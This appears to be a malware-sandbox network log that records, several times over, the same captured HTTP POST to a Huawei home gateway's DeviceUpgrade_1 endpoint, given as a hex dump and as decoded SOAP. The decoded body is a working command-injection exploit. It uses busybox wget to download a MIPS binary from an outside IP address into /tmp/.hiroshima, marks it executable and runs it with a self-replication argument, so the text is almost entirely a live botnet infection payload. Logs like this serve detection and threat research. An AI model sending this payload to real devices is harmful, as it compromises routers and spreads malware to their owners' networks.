Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
